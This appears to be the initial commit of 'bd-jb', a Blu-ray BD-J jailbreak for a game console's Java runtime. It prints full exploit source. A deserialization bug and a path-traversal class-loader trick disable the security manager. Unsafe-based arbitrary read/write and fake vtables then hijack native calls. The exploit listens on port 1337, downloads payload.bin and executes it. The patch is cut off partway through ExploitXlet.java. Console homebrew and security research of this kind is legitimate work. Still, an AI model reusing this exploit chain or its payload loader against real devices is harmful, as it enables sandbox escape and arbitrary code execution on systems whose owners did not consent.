From 8f0a5539e8c8a31c77d79d41f5c86c4c52adde65 Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Sun, 24 Oct 2021 17:23:44 +0200 Subject: [PATCH] Initial commit. --- .gitignore | 8 + LICENSE | 21 + Makefile | 34 ++ README.md | 7 + bdmv/MovieObject.xml | 29 ++ bdmv/bdjo.xml | 47 ++ bdmv/id.xml | 6 + bdmv/index.xml | 32 ++ com/bdjb/API.java | 569 +++++++++++++++++++++ com/bdjb/Exploit.java | 87 ++++ com/bdjb/ExploitInterface.java | 12 + com/bdjb/ExploitServiceProxyImpl.java | 60 +++ com/bdjb/ExploitUserPrefsImpl.java | 56 ++ com/bdjb/ExploitXlet.java | 45 ++ com/bdjb/IxcProxyImpl.java | 50 ++ com/bdjb/JIT.java | 160 ++++++ com/bdjb/Payload.java | 24 + com/bdjb/PayloadClassLoader.java | 58 +++ com/bdjb/PayloadClassLoaderSerializer.java | 27 + com/bdjb/ProviderAccessorImpl.java | 65 +++ com/bdjb/Screen.java | 45 ++ com/bdjb/ServiceImpl.java | 30 ++ com/bdjb/ServiceInterface.java | 18 + com/bdjb/UnsafeInterface.java | 40 ++ com/bdjb/UnsafeJdkImpl.java | 105 ++++ com/bdjb/UnsafeSunImpl.java | 84 +++ com/bdjb/bluray.ExploitXlet.perm | 12 + disc/BDMV/META/DL/bdjb.jpg | Bin 0 -> 57095 bytes disc/BDMV/META/DL/bdmt_eng.xml | 17 + disc/CERTIFICATE/app.discroot.crt | Bin 0 -> 662 bytes disc/CERTIFICATE/bu.discroot.crt | Bin 0 -> 663 bytes jdk/internal/misc/Unsafe.java | 49 ++ keystore.store | Bin 0 -> 4895 bytes payload/Makefile | 19 + payload/linker.x | 9 + payload/payload.c | 7 + payload/start.S | 2 + 37 files changed, 1834 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 README.md create mode 100644 bdmv/MovieObject.xml create mode 100644 bdmv/bdjo.xml create mode 100644 bdmv/id.xml create mode 100644 bdmv/index.xml create mode 100644 com/bdjb/API.java create mode 100644 com/bdjb/Exploit.java create mode 100644 com/bdjb/ExploitInterface.java create mode 100644 com/bdjb/ExploitServiceProxyImpl.java create mode 100644 com/bdjb/ExploitUserPrefsImpl.java create mode 100644 com/bdjb/ExploitXlet.java create mode 100644 com/bdjb/IxcProxyImpl.java create mode 100644 com/bdjb/JIT.java create mode 100644 com/bdjb/Payload.java create mode 100644 com/bdjb/PayloadClassLoader.java create mode 100644 com/bdjb/PayloadClassLoaderSerializer.java create mode 100644 com/bdjb/ProviderAccessorImpl.java create mode 100644 com/bdjb/Screen.java create mode 100644 com/bdjb/ServiceImpl.java create mode 100644 com/bdjb/ServiceInterface.java create mode 100644 com/bdjb/UnsafeInterface.java create mode 100644 com/bdjb/UnsafeJdkImpl.java create mode 100644 com/bdjb/UnsafeSunImpl.java create mode 100644 com/bdjb/bluray.ExploitXlet.perm create mode 100644 disc/BDMV/META/DL/bdjb.jpg create mode 100644 disc/BDMV/META/DL/bdmt_eng.xml create mode 100644 disc/CERTIFICATE/app.discroot.crt create mode 100644 disc/CERTIFICATE/bu.discroot.crt create mode 100644 jdk/internal/misc/Unsafe.java create mode 100644 keystore.store create mode 100644 payload/Makefile create mode 100644 payload/linker.x create mode 100644 payload/payload.c create mode 100644 payload/start.S diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..035c0b5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.idea/ +tools/ +lib/ +disc/CERTIFICATE/id.bdmv +disc/BDMV/index.bdmv +disc/BDMV/MovieObject.bdmv +disc/BDMV/JAR/00000.jar +disc/BDMV/BDJO/00000.bdjo diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..8590ae9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (C) 2021 Andy Nguyen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..eb9c49e --- /dev/null +++ b/Makefile @@ -0,0 +1,34 @@ +SRC = \ + com/bdjb/ExploitXlet.java \ + com/bdjb/Exploit.java \ + com/bdjb/ExploitInterface.java \ + com/bdjb/ExploitUserPrefsImpl.java \ + com/bdjb/ExploitServiceProxyImpl.java \ + com/bdjb/IxcProxyImpl.java \ + com/bdjb/ServiceInterface.java \ + com/bdjb/ServiceImpl.java \ + com/bdjb/ProviderAccessorImpl.java \ + com/bdjb/PayloadClassLoader.java \ + com/bdjb/Payload.java \ + com/bdjb/UnsafeInterface.java \ + com/bdjb/UnsafeJdkImpl.java \ + com/bdjb/UnsafeSunImpl.java \ + com/bdjb/API.java \ + com/bdjb/JIT.java \ + com/bdjb/Screen.java \ + +all: + javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer + javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC) + jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm + java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar + java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo + java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv + java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv + java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv + +clean: + rm -rf *.class + rm -rf com/bdjb/*.class + rm -rf com/bdjb/*.ser + rm -rf META-INF diff --git a/README.md b/README.md new file mode 100644 index 0000000..8b470c5 --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# bd-jb + +The first bd-j hack. + +# Credits + +- bd-j tools from https://github.com/zathras/java.net \ No newline at end of file diff --git a/bdmv/MovieObject.xml b/bdmv/MovieObject.xml new file mode 100644 index 0000000..4112f13 --- /dev/null +++ b/bdmv/MovieObject.xml @@ -0,0 +1,29 @@ + + + 0200 + + + + 21810000 00000001 00000000 + + + false + false + false + + + + + 21810000 00000001 00000000 + + + false + false + false + + + + + 0 + 0 + diff --git a/bdmv/bdjo.xml b/bdmv/bdjo.xml new file mode 100644 index 0000000..da6cc69 --- /dev/null +++ b/bdmv/bdjo.xml @@ -0,0 +1,47 @@ + + + + + *.* + 00000 + 1 + + + + + + 00000 + TITLE_BOUND_DISC_BOUND + + 0x0 + + com.bdjb.ExploitXlet + 128 + + 1 + 0 + 0 + 1 + + V_01 + + 0x4000 + 0x1 + 0x56789abc + 0x1 + + + . + 0x0 + + false + false + + + 00000 + HD_1920_1080 + false + false + + V_0200 + diff --git a/bdmv/id.xml b/bdmv/id.xml new file mode 100644 index 0000000..425f55d --- /dev/null +++ b/bdmv/id.xml @@ -0,0 +1,6 @@ + + + 0x00000000000000000000000000000001 + 0x56789abc + 0200 + diff --git a/bdmv/index.xml b/bdmv/index.xml new file mode 100644 index 0000000..6ffc745 --- /dev/null +++ b/bdmv/index.xml @@ -0,0 +1,32 @@ + + + + + + + + 0x0 + HDMVPlayback_MOVIE + + + + + 0x1 + HDMVPlayback_INTERACTIVE + + + + + <indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject"> + <BDJOName>00000</BDJOName> + <playbackType>BDJPlayback_MOVIE</playbackType> + </indexObject> + <titleAccessType>V_00</titleAccessType> + + + + 0 + 0 + 0 + 0200 + diff --git a/com/bdjb/API.java b/com/bdjb/API.java new file mode 100644 index 0000000..7e05f82 --- /dev/null +++ b/com/bdjb/API.java @@ -0,0 +1,569 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** API class to access native data and execute native code. */ +final class API { + static final int INT8_SIZE = 1; + static final int INT16_SIZE = 2; + static final int INT32_SIZE = 4; + static final int INT64_SIZE = 8; + + static final long RTLD_DEFAULT = -2; + + static final long LIBC_MODULE_HANDLE = 0x2; + static final long LIBKERNEL_MODULE_HANDLE = 0x2001; + static final long LIBJAVA_MODULE_HANDLE = 0x4A; + + private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING = + "Unsupported dlopen() operation"; + + private static final String SETJMP_SYMBOL = "setjmp"; + private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; + private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; + private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = + "Java_java_lang_reflect_Array_multiNewArray"; + + private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; + private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; + + private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary"; + private static final String FIND_ENTRY_METHOD_NAME = "findEntry"; + private static final String FIND_METHOD_NAME = "find"; + private static final String HANDLE_FIELD_NAME = "handle"; + + private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1}; + + private static final String VALUE_FIELD_NAME = "value"; + + private static final Long LONG_VALUE = new Long(1337); + + private static API instance; + + private UnsafeInterface unsafe; + + private long longValueOffset; + + private Object nativeLibrary; + private Method findMethod; + private Field handleField; + + private long executableHandle; + + private long Java_java_lang_reflect_Array_multiNewArray; + private long JVM_NativePath; + private long __Ux86_64_setcontext; + private long setjmp; + + private boolean jdk11; + + private API() throws Exception { + this.init(); + } + + static synchronized API getInstance() throws Exception { + if (instance == null) { + instance = new API(); + } + return instance; + } + + private native long multiNewArray(Class componentType, int[] dimensions); + + private void init() throws Exception { + initUnsafe(); + initDlsym(); + initSymbols(); + initApiCall(); + } + + private void initUnsafe() throws Exception { + try { + unsafe = new UnsafeSunImpl(); + jdk11 = false; + } catch (ClassNotFoundException e) { + unsafe = new UnsafeJdkImpl(); + jdk11 = true; + } + + longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME)); + } + + private void initDlsym() throws Exception { + Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME); + + if (jdk11) { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class}); + } else { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class}); + } + + handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME); + findMethod.setAccessible(true); + handleField.setAccessible(true); + + Constructor nativeLibraryConstructor = + nativeLibraryClass.getDeclaredConstructor( + new Class[] {Class.class, String.class, boolean.class}); + nativeLibraryConstructor.setAccessible(true); + + nativeLibrary = + nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)}); + } + + private void initSymbols() { + JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); + if (JVM_NativePath == 0) { + throw new IllegalArgumentException("JVM_NativePath symbol could not be found."); + } + + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + + if (__Ux86_64_setcontext == 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + executableHandle = JVM_NativePath & ~(4 - 1); + while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) { + executableHandle += 4; + } + executableHandle -= 4; + + // Try again. + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + } + + if (__Ux86_64_setcontext == 0) { + throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found."); + } + + if (jdk11) { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } else { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } + if (Java_java_lang_reflect_Array_multiNewArray == 0) { + throw new IllegalArgumentException( + "Java_java_lang_reflect_Array_multiNewArray symbol could not be found."); + } + + setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); + if (setjmp == 0) { + throw new IllegalArgumentException("setjmp symbol could not be found."); + } + } + + private void initApiCall() { + long apiInstance = addrof(this); + long apiKlass = read64(apiInstance + 0x08); + + if (jdk11) { + long methods = read64(apiKlass + 0x170); + int numMethods = read32(methods + 0x00); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x08 + i * 8); + long constMethod = read64(method + 0x08); + long constants = read64(constMethod + 0x08); + short nameIndex = read16(constMethod + 0x2A); + short signatureIndex = read16(constMethod + 0x2C); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + short nameLength = read16(nameSymbol + 0x00); + short signatureLength = read16(signatureSymbol + 0x00); + + String name = readString(nameSymbol + 0x06, nameLength); + String signature = readString(signatureSymbol + 0x06, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray); + return; + } + } + } else { + long methods = read64(apiKlass + 0xC8); + int numMethods = read32(methods + 0x10); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x18 + i * 8); + long constMethod = read64(method + 0x10); + long constants = read64(method + 0x18); + short nameIndex = read16(constMethod + 0x42); + short signatureIndex = read16(constMethod + 0x44); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + short nameLength = read16(nameSymbol + 0x08); + short signatureLength = read16(signatureSymbol + 0x08); + + String name = readString(nameSymbol + 0x0A, nameLength); + String signature = readString(signatureSymbol + 0x0A, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray); + return; + } + } + } + + throw new IllegalArgumentException("Native method could not be installed."); + } + + private void buildContext( + long contextData, + long setJmpData, + long rip, + long rdi, + long rsi, + long rdx, + long rcx, + long r8, + long r9) { + long rbx = read64(setJmpData + 0x08); + long rsp = read64(setJmpData + 0x10); + long rbp = read64(setJmpData + 0x18); + long r12 = read64(setJmpData + 0x20); + long r13 = read64(setJmpData + 0x28); + long r14 = read64(setJmpData + 0x30); + long r15 = read64(setJmpData + 0x38); + + write64(contextData + 0x48, rdi); + write64(contextData + 0x50, rsi); + write64(contextData + 0x58, rdx); + write64(contextData + 0x60, rcx); + write64(contextData + 0x68, r8); + write64(contextData + 0x70, r9); + write64(contextData + 0x80, rbx); + write64(contextData + 0x88, rbp); + write64(contextData + 0xA0, r12); + write64(contextData + 0xA8, r13); + write64(contextData + 0xB0, r14); + write64(contextData + 0xB8, r15); + write64(contextData + 0xE0, rip); + write64(contextData + 0xF8, rsp); + + write64(contextData + 0x110, 0x41414141); + write64(contextData + 0x118, 0x41414141); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { + long fakeCallKlass = malloc(0x400); + memset(fakeCallKlass, 0, 0x400); + + long fakeCallKlassVtable = malloc(0x400); + for (int i = 0; i < 0x400; i += 8) { + write64(fakeCallKlassVtable + i, JVM_NativePath); + } + + long ret = 0; + + if (jdk11) { + long callClass = addrof(Call.class); + long callKlass = read64(callClass + 0x98); + + write64(fakeCallKlassVtable + 0x158, setjmp); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(callClass + 0x98, fakeCallKlass); + multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + buildContext( + fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5); + + write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(callClass + 0x98, fakeCallKlass); + ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + write64(callClass + 0x98, callKlass); + } else { + long callClass = addrof(Call.class); + long callKlass = read64(callClass + 0x68); + + write64(fakeCallKlassVtable + 0x230, setjmp); + write64(fakeCallKlass + 0x10, fakeCallKlassVtable); + write64(fakeCallKlass + 0x20, fakeCallKlassVtable); + write64(callClass + 0x68, fakeCallKlass); + multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + buildContext( + fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); + + write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext); + write64(fakeCallKlass + 0x10, fakeCallKlassVtable); + write64(fakeCallKlass + 0x20, fakeCallKlassVtable); + write64(callClass + 0x68, fakeCallKlass); + ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + write64(callClass + 0x68, callKlass); + } + + free(fakeCallKlassVtable); + free(fakeCallKlass); + + if (ret == 0) { + return 0; + } + + return read64(ret); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { + return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3) { + return call(func, arg0, arg1, arg2, arg3, (long) 0); + } + + long call(long func, long arg0, long arg1, long arg2) { + return call(func, arg0, arg1, arg2, (long) 0); + } + + long call(long func, long arg0, long arg1) { + return call(func, arg0, arg1, (long) 0); + } + + long call(long func, long arg0) { + return call(func, arg0, (long) 0); + } + + long call(long func) { + return call(func, (long) 0); + } + + long dlsym(long handle, String symbol) { + int oldHandle = (int) RTLD_DEFAULT; + try { + if (executableHandle != 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + oldHandle = read32(executableHandle); + write32(executableHandle, (int) handle); + handleField.setLong(nativeLibrary, RTLD_DEFAULT); + } else { + handleField.setLong(nativeLibrary, handle); + } + return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue(); + } catch (Exception e) { + return 0; + } finally { + if (executableHandle != 0) { + write32(executableHandle, oldHandle); + } + } + } + + long addrof(Object obj) { + try { + unsafe.putObject(LONG_VALUE, longValueOffset, obj); + return unsafe.getLong(LONG_VALUE, longValueOffset); + } catch (Exception e) { + return 0; + } + } + + byte read8(long addr) { + return unsafe.getByte(addr); + } + + short read16(long addr) { + return unsafe.getShort(addr); + } + + int read32(long addr) { + return unsafe.getInt(addr); + } + + long read64(long addr) { + return unsafe.getLong(addr); + } + + void write8(long addr, byte val) { + unsafe.putByte(addr, val); + } + + void write16(long addr, short val) { + unsafe.putShort(addr, val); + } + + void write32(long addr, int val) { + unsafe.putInt(addr, val); + } + + void write64(long addr, long val) { + unsafe.putLong(addr, val); + } + + long malloc(long size) { + return unsafe.allocateMemory(size); + } + + long realloc(long ptr, long size) { + return unsafe.reallocateMemory(ptr, size); + } + + void free(long ptr) { + unsafe.freeMemory(ptr); + } + + long memcpy(long dest, long src, long n) { + for (int i = 0; i < n; i++) { + write8(dest + i, read8(src + i)); + } + return dest; + } + + long memcpy(long dest, byte[] src, long n) { + for (int i = 0; i < n; i++) { + write8(dest + i, src[i]); + } + return dest; + } + + byte[] memcpy(byte[] dest, long src, long n) { + for (int i = 0; i < n; i++) { + dest[i] = read8(src + i); + } + return dest; + } + + long memset(long s, int c, long n) { + for (int i = 0; i < n; i++) { + write8(s + i, (byte) c); + } + return s; + } + + byte[] memset(byte[] s, int c, long n) { + for (int i = 0; i < n; i++) { + s[i] = (byte) c; + } + return s; + } + + int memcmp(long s1, long s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + int memcmp(long s1, byte[] s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = s2[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + int memcmp(byte[] s1, long s2, long n) { + return memcmp(s2, s1, n); + } + + int strcmp(long s1, long s2) { + int i = 0; + while (true) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + i++; + } + } + + int strcmp(long s1, String s2) { + byte[] bytes = toCBytes(s2); + int i = 0; + while (true) { + byte b1 = read8(s1 + i); + byte b2 = bytes[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + i++; + } + } + + int strcmp(String s1, long s2) { + return strcmp(s2, s1); + } + + long strcpy(long dest, long src) { + int i = 0; + while (true) { + byte ch = read8(src + i); + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + i++; + } + return dest; + } + + long strcpy(long dest, String src) { + byte[] bytes = toCBytes(src); + int i = 0; + while (true) { + byte ch = bytes[i]; + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + i++; + } + return dest; + } + + String readString(long src, int n) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + int i = 0; + while (true) { + byte ch = read8(src + i); + if (ch == (byte) 0 || i == n) { + break; + } + outputStream.write(new byte[] {ch}, 0, 1); + i++; + } + return outputStream.toString(); + } + + String readString(long src) { + return readString(src, -1); + } + + byte[] toCBytes(String str) { + byte[] bytes = new byte[str.length() + 1]; + System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); + return bytes; + } + + private final class Call {} +} diff --git a/com/bdjb/Exploit.java b/com/bdjb/Exploit.java new file mode 100644 index 0000000..a31054b --- /dev/null +++ b/com/bdjb/Exploit.java @@ -0,0 +1,87 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.net.ServerSocket; + +class Exploit implements Runnable { + static void init() { + Screen.println("[+] bd-jb by theflow"); + + Screen.println("[*] Disabling security manager..."); + + ExploitInterface[] exploits = + new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; + + for (int i = 0; i < exploits.length; i++) { + try { + exploits[i].trigger(); + if (System.getSecurityManager() == null) { + break; + } + } catch (Exception e) { + continue; + } + } + + if (System.getSecurityManager() != null) { + Screen.println("[-] Error could not disable security manager."); + } + } + + static void start() { + new Thread(new Exploit()).start(); + } + + public void run() { + if (System.getSecurityManager() != null) { + return; + } + + try { + Screen.println("[*] Installing native API..."); + API api = API.getInstance(); + + Screen.println("[*] Enabling JIT..."); + JIT jit = JIT.getInstance(); + + Screen.println("[*] Waiting for payload..."); + + ServerSocket serverSocket = new ServerSocket(1337); + Socket socket = serverSocket.accept(); + + Screen.println("[*] Downloading payload..."); + + InputStream inputStream = socket.getInputStream(); + OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin"); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + outputStream.close(); + inputStream.close(); + + socket.close(); + + Screen.println("[*] Executing payload..."); + long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"); + long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin"); + int ret = (int) api.call(payload, sceKernelDlsym); + Screen.println("[+] Result: " + Integer.toHexString(ret)); + } catch (Exception e) { + Screen.println("[-] Error: " + e.getCause()); + } + } +} diff --git a/com/bdjb/ExploitInterface.java b/com/bdjb/ExploitInterface.java new file mode 100644 index 0000000..4a27243 --- /dev/null +++ b/com/bdjb/ExploitInterface.java @@ -0,0 +1,12 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +interface ExploitInterface { + public void trigger() throws Exception; +} diff --git a/com/bdjb/ExploitServiceProxyImpl.java b/com/bdjb/ExploitServiceProxyImpl.java new file mode 100644 index 0000000..f6eed4f --- /dev/null +++ b/com/bdjb/ExploitServiceProxyImpl.java @@ -0,0 +1,60 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.Security; +import java.security.Provider; + +/** Implementation of the service+proxy exploit. */ +class ExploitServiceProxyImpl implements ExploitInterface { + private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service"; + + private static final String NEW_INSTANCE_METHOD_NAME = "newInstance"; + private static final String NEW_INSTANCE_METHOD_SIGNATURE = + "(Ljava/lang/Object;)Ljava/lang/Object;"; + + private static final String JAR_URL = + "file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar"; + + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; + + public void trigger() throws Exception { + // Throw exception if class does not exist. + Class.forName(SERVICE_CLASS_NAME); + + IxcProxyImpl proxy = IxcProxyImpl.getInstance(); + + // Prepare service object with the class to be instantiated. + Provider[] providers = Security.getProviders(); + ServiceImpl service = + new ServiceImpl( + providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null); + ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers); + providerAccessor.putService(providers[0], service); + providerAccessor.setProviderAccessor(); + + // Instantiate the URLClassLoader class with privileges and a vulnerable path. + URL[] urls = new URL[] {new URL(JAR_URL)}; + URLClassLoader urlClassLoader = + (URLClassLoader) + proxy.invokeMethod( + service, + NEW_INSTANCE_METHOD_NAME, + NEW_INSTANCE_METHOD_SIGNATURE, + new Object[] {urls}); + + // Instantiate the payload class with all permissions to disable the security manager. + Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME); + payloadClass.newInstance(); + } +} diff --git a/com/bdjb/ExploitUserPrefsImpl.java b/com/bdjb/ExploitUserPrefsImpl.java new file mode 100644 index 0000000..337f0a4 --- /dev/null +++ b/com/bdjb/ExploitUserPrefsImpl.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.InputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.io.FileOutputStream; +import org.havi.ui.HSceneFactory; + +/** Implementation of the userprefs deserialization exploit. */ +class ExploitUserPrefsImpl implements ExploitInterface { + private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs"; + + private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser"; + + public void trigger() throws Exception { + try { + // Overwrite userprefs with a serialized PayloadClassLoader. + InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER); + OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + outputStream.close(); + inputStream.close(); + + // Trigger deserialization vulnerability. + try { + HSceneFactory.getInstance().getDefaultHScene(); + } catch (ClassCastException e) { + // Exception expected. + + // Instantiate the payload class. + PayloadClassLoader.getInstance().newPayload(); + } + } finally { + // Restore userprefs file. + String[][] preferences = new String[9][]; + preferences[3] = new String[] {"26"}; + ObjectOutputStream outputStream = + new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS)); + outputStream.writeObject(preferences); + outputStream.close(); + } + } +} diff --git a/com/bdjb/ExploitXlet.java b/com/bdjb/ExploitXlet.java new file mode 100644 index 0000000..92bd947 --- /dev/null +++ b/com/bdjb/ExploitXlet.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.awt.BorderLayout; +import javax.tv.xlet.Xlet; +import 